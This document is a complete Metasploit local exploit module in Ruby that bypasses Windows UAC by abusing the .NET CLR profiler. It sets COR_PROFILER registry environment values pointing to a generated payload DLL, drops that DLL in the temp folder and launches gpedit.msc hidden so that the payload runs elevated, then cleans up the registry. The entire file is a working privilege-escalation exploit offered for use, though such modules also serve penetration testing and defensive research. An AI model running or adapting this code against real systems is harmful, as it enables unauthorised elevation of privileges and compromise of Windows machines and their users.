## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Post::Windows::Priv include Post::Windows::Runas def initialize(info={}) super(update_info(info, 'Name' => 'Windows Escalate UAC Protection Bypass (Via dot net profiler)', 'Description' => %q( Microsoft Windows allows for the automatic loading of a profiling COM object during the launch of a CLR process based on certain environment variables ostensibly to monitor execution. In this case, we abuse the profiler by pointing to a payload DLL that will be launched as the profiling thread. This thread will run at the permission level of the calling process, so an auto-elevating process will launch the DLL with elevated permissions. In this case, we use gpedit.msc as the auto-elevated CLR process, but others would work, too. ), 'License' => MSF_LICENSE, 'Author' => [ 'Casey Smith', # UAC bypass discovery and research '"Stefan Kanthak" ', # UAC bypass discovery and research 'bwatters-r7', # Module ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Targets' => [ [ 'Windows x64', { 'Arch' => ARCH_X64 } ] ], 'DefaultTarget' => 0, 'Notes' => { 'SideEffects' => [ ARTIFACTS_ON_DISK ] }, 'References' => [ ['URL', 'https://seclists.org/fulldisclosure/2017/Jul/11'], ['URL', 'https://offsec.provadys.com/UAC-bypass-dotnet.html'] ], 'DisclosureDate' => 'Mar 17 2017' ) ) register_options( [OptString.new('PAYLOAD_NAME', [false, 'The filename to use for the payload binary (%RAND% by default).', nil])] ) end def check if sysinfo['OS'] =~ /Windows (7|8|2008|2012|10)/ && is_uac_enabled? Exploit::CheckCode::Appears else Exploit::CheckCode::Safe end end def write_reg_value(registry_hash) vprint_status("Writing #{registry_hash[:value_name]} to #{registry_hash[:key_name]}") begin if not registry_key_exist?(registry_hash[:key_name]) registry_createkey(registry_hash[:key_name]) registry_hash[:delete_on_cleanup] = true else registry_hash[:delete_on_cleanup] = false end registry_setvaldata(registry_hash[:key_name], \ registry_hash[:value_name], \ registry_hash[:value_value], \ registry_hash[:value_type]) rescue Rex::Post::Meterpreter::RequestError => e print_error(e.to_s) end end def remove_reg_value(registry_hash) # we may have already deleted the key return unless registry_key_exist?(registry_hash[:key_name]) begin if registry_hash[:delete_on_cleanup] vprint_status("Deleting #{registry_hash[:key_name]} key") registry_deletekey(registry_hash[:key_name]) else vprint_status("Deleting #{registry_hash[:value_name]} from #{registry_hash[:key_name]} key") registry_deleteval(registry_hash[:key_name], registry_hash[:value_name]) end rescue Rex::Post::Meterpreter::RequestError => e print_bad("Unable to clean up registry") print_error(e.to_s) end end def exploit check_permissions! case get_uac_level when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT fail_with(Failure::NotVulnerable, "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...") when UAC_DEFAULT print_good('UAC is set to Default') print_good('BypassUAC can bypass this setting, continuing...') when UAC_NO_PROMPT print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') shell_execute_exe return end # get directory locations straight win_dir = session.sys.config.getenv('windir') vprint_status("win_dir = " + win_dir) tmp_dir = session.sys.config.getenv('tmp') vprint_status("tmp_dir = " + tmp_dir) exploit_dir = win_dir + "\\System32\\" vprint_status("exploit_dir = " + exploit_dir) target_filepath = exploit_dir + "gpedit.msc" vprint_status("target_filepath = " + target_filepath) payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.dll' payload_pathname = tmp_dir + '\\' + payload_name # make payload vprint_status("Making Payload") vprint_status("payload_pathname = " + payload_pathname) payload = generate_payload_dll uuid = SecureRandom.uuid vprint_status("UUID = #{uuid}") reg_keys = [] # This reg key will not hurt anything in windows 10+, but is not required. unless sysinfo['OS'] =~ /Windows (2016|10)/ reg_keys.push(key_name: "HKCU\\Software\\Classes\\CLSID\\{#{uuid}}\\InprocServer32", value_name: '', value_type: "REG_EXPAND_SZ", value_value: payload_pathname, delete_on_cleanup: false) end reg_keys.push(key_name: "HKCU\\Environment", value_name: "COR_PROFILER", value_type: "REG_SZ", value_value: "{#{uuid}}", delete_on_cleanup: false) reg_keys.push(key_name: "HKCU\\Environment", value_name: "COR_ENABLE_PROFILING", value_type: "REG_SZ", value_value: "1", delete_on_cleanup: false) reg_keys.push(key_name: "HKCU\\Environment", value_name: "COR_PROFILER_PATH", value_type: "REG_SZ", value_value: payload_pathname, delete_on_cleanup: false) reg_keys.each do |key_hash| write_reg_value(key_hash) end # Upload payload vprint_status("Uploading Payload to #{payload_pathname}") write_file(payload_pathname, payload) vprint_status("Payload Upload Complete") vprint_status("Launching " + target_filepath) begin session.sys.process.execute("cmd.exe /c \"#{target_filepath}\"", nil, 'Hidden' => true) rescue Rex::Post::Meterpreter::RequestError => e print_error(e.to_s) end print_warning("This exploit requires manual cleanup of '#{payload_pathname}!") # wait for a few seconds before cleaning up print_status("Please wait for session and cleanup....") sleep(20) vprint_status("Removing Registry Changes") reg_keys.each do |key_hash| remove_reg_value(key_hash) end vprint_status("Registry Changes Removed") end def check_permissions! unless check == Exploit::CheckCode::Appears fail_with(Failure::NotVulnerable, "Target is not vulnerable.") end fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? # Check if you are an admin # is_in_admin_group can be nil, true, or false print_status('UAC is Enabled, checking level...') vprint_status('Checking admin status...') admin_group = is_in_admin_group? if admin_group.nil? print_error('Either whoami is not there or failed to execute') print_error('Continuing under assumption you already checked...') else if admin_group print_good('Part of Administrators group! Continuing...') else fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') end end if get_integrity_level == INTEGRITY_LEVEL_SID[:low] fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') end end end